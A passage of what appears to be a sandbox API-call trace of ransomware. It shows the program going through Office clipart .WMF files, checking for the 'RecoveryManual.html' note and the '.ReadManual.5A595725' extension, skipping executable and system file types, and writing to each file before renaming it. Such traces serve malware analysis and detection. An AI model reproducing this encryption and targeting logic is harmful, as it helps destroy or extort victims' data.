StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.273] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.273] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.273] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.273] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.273] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.273] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.273] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.273] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.273] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.273] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.273] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" [0274.273] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.ReadManual.5A595725" [0274.273] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF.ReadManual.5A595725") returned 87 [0274.273] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39494195466) returned 1 [0274.273] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf")) returned 0x20 [0274.274] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00168_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00168_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.274] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15150) returned 1 [0274.274] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b2e, lpName=0x0) returned 0x184 [0274.274] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.275] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.275] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.277] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.277] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b2e) returned 0x2f0000 [0274.277] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.277] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39494593623) returned 1 [0274.277] CloseHandle (hObject=0x184) returned 1 [0274.277] SetSecurityInfo () returned 0x57 [0274.277] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.277] CloseHandle (hObject=0x194) returned 1 [0274.277] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34825000, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34825000, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2242, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00170_.WMF", cAlternateFileName="")) returned 1 [0274.277] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00170_.WMF" | out: lpString1="SO00170_.WMF") returned="SO00170_.WMF" [0274.278] lstrcmpiW (lpString1="SO00170_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.278] StrStrIW (lpFirst="SO00170_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.278] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.278] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.278] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.278] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.278] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.278] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.278] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.278] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.278] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.278] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.278] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.278] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.278] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.278] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.278] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" [0274.278] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.ReadManual.5A595725" [0274.278] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF.ReadManual.5A595725") returned 87 [0274.278] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39494683125) returned 1 [0274.278] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf")) returned 0x20 [0274.279] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00170_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.279] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=8770) returned 1 [0274.280] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2242, lpName=0x0) returned 0x184 [0274.280] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.280] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.280] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.282] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.282] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2242) returned 0x2f0000 [0274.282] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.282] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39495104097) returned 1 [0274.282] CloseHandle (hObject=0x184) returned 1 [0274.282] SetSecurityInfo () returned 0x57 [0274.282] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.283] CloseHandle (hObject=0x194) returned 1 [0274.283] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2af8e800, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2af8e800, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x8f0e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00177_.WMF", cAlternateFileName="")) returned 1 [0274.283] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00177_.WMF" | out: lpString1="SO00177_.WMF") returned="SO00177_.WMF" [0274.283] lstrcmpiW (lpString1="SO00177_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.283] StrStrIW (lpFirst="SO00177_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.283] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.283] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.283] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.283] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.283] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.283] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.283] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.283] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.283] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.283] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.283] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.283] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.283] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.283] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.283] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" [0274.283] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.ReadManual.5A595725" [0274.283] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF.ReadManual.5A595725") returned 87 [0274.283] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39495195989) returned 1 [0274.283] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf")) returned 0x20 [0274.284] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00177_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.284] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=36622) returned 1 [0274.284] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8f0e, lpName=0x0) returned 0x184 [0274.284] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.289] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.289] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.292] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.292] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8f0e) returned 0x2f0000 [0274.293] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.294] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39496238030) returned 1 [0274.294] CloseHandle (hObject=0x184) returned 1 [0274.294] SetSecurityInfo () returned 0x57 [0274.294] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.294] CloseHandle (hObject=0x194) returned 1 [0274.294] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x283c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00183_.WMF", cAlternateFileName="")) returned 1 [0274.294] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00183_.WMF" | out: lpString1="SO00183_.WMF") returned="SO00183_.WMF" [0274.294] lstrcmpiW (lpString1="SO00183_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.294] StrStrIW (lpFirst="SO00183_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.294] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.294] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.294] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.294] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.294] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.294] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.294] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.294] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.294] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.294] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.294] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.294] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.294] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.294] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.294] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" [0274.294] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.ReadManual.5A595725" [0274.294] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF.ReadManual.5A595725") returned 87 [0274.294] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39496328134) returned 1 [0274.295] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf")) returned 0x20 [0274.295] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00183_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.295] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10300) returned 1 [0274.295] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x283c, lpName=0x0) returned 0x184 [0274.295] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.301] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.301] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.302] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.303] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x283c) returned 0x2f0000 [0274.303] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.303] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39497156394) returned 1 [0274.303] CloseHandle (hObject=0x184) returned 1 [0274.303] SetSecurityInfo () returned 0x57 [0274.303] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.303] CloseHandle (hObject=0x194) returned 1 [0274.303] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a0ad00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22a0ad00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x514c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00190_.WMF", cAlternateFileName="")) returned 1 [0274.303] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00190_.WMF" | out: lpString1="SO00190_.WMF") returned="SO00190_.WMF" [0274.303] lstrcmpiW (lpString1="SO00190_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.303] StrStrIW (lpFirst="SO00190_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.303] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.303] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.303] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.303] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.303] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.303] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.303] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.303] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.303] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.303] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.303] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.304] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.304] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.304] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.304] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" [0274.304] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.ReadManual.5A595725" [0274.304] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF.ReadManual.5A595725") returned 87 [0274.304] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39497247031) returned 1 [0274.304] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf")) returned 0x20 [0274.304] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00190_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00190_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0274.304] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20812) returned 1 [0274.304] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x514c, lpName=0x0) returned 0x184 [0274.304] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0274.305] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0274.305] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0274.309] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0274.309] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x514c) returned 0x2f0000 [0274.309] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0274.309] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39497817320) returned 1 [0274.309] CloseHandle (hObject=0x184) returned 1 [0274.309] SetSecurityInfo () returned 0x57 [0274.310] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0274.310] CloseHandle (hObject=0x194) returned 1 [0274.310] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2090, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SO00191_.WMF", cAlternateFileName="")) returned 1 [0274.310] lstrcpyW (in: lpString1=0x6ab90a, lpString2="SO00191_.WMF" | out: lpString1="SO00191_.WMF") returned="SO00191_.WMF" [0274.310] lstrcmpiW (lpString1="SO00191_.WMF", lpString2="RecoveryManual.html") returned 1 [0274.310] StrStrIW (lpFirst="SO00191_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0274.310] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0274.310] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0274.310] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0274.310] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0274.310] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0274.310] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0274.310] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0274.310] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0274.310] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0274.310] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0274.310] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0274.310] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0274.310] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0274.310] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0274.310] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF" [0274.310] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.ReadManual.5A595725" [0274.310] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00191_.WMF.ReadManual.5A595725") returned 87 [0274.310] 